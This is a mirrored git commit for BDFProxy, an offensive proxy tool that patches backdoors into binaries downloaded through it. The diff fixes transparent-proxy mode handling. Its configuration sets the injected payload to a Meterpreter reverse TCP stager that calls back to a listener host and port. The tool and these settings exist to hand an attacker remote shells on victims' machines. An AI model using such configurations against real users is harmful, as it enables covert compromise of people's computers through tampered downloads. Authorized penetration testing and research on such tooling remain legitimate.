mirror of
https://github.com/secretsquirrel/BDFProxy.git
synced 2024-11-26 22:10:25 +00:00
bug fix with transparent proxies
This commit is contained in:
parent
dcfdb7bd4b
commit
22c00b09c0
@ -768,10 +768,11 @@ resourceScript = userConfig['Overall']['resourceScript']
|
||||
|
||||
config = proxy.ProxyConfig(clientcerts=os.path.expanduser(userConfig['Overall']['certLocation']),
|
||||
body_size_limit=int(userConfig['Overall']['MaxSizeFileRequested']),
|
||||
port=int(userConfig['Overall']['proxyPort'])
|
||||
port=int(userConfig['Overall']['proxyPort']),
|
||||
mode=userConfig['Overall']['transparentProxy'],
|
||||
)
|
||||
|
||||
if userConfig['Overall']['transparentProxy'] == "True":
|
||||
if userConfig['Overall']['transparentProxy'] != "None":
|
||||
config.transparent_proxy = {'sslports': userConfig['Overall']['sslports'],
|
||||
'resolver': platform.resolver()
|
||||
}
|
||||
|
@ -32,7 +32,7 @@
|
||||
#
|
||||
|
||||
[Overall]
|
||||
transparentProxy = True # Must for transparent proxy
|
||||
transparentProxy = transparent # Modes: None, socks5, transparent, reverse, upstream
|
||||
MaxSizeFileRequested = 100000000 # will send a 502 request of large content to the client (server error)
|
||||
certLocation = ~/.mitmproxy/mitmproxy-ca.pem
|
||||
proxyPort = 8080
|
||||
@ -120,11 +120,11 @@ blacklist = , # a comma is null do not leave blank
|
||||
PATCH_TYPE = SINGLE #JUMP/SINGLE/APPEND
|
||||
HOST = 192.168.1.16
|
||||
PORT = 8443
|
||||
SHELL = reverse_shell_tcp
|
||||
SHELL = reverse_tcp_stager
|
||||
SUPPLIED_SHELLCODE = None
|
||||
ZERO_CERT = False
|
||||
PATCH_DLL = True
|
||||
MSFPAYLOAD = windows/shell_reverse_tcp
|
||||
MSFPAYLOAD = windows/meterpreter/reverse_tcp
|
||||
|
||||
[[[WindowsIntelx64]]]
|
||||
PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND
|
||||
|
Loading…
Reference in New Issue
Block a user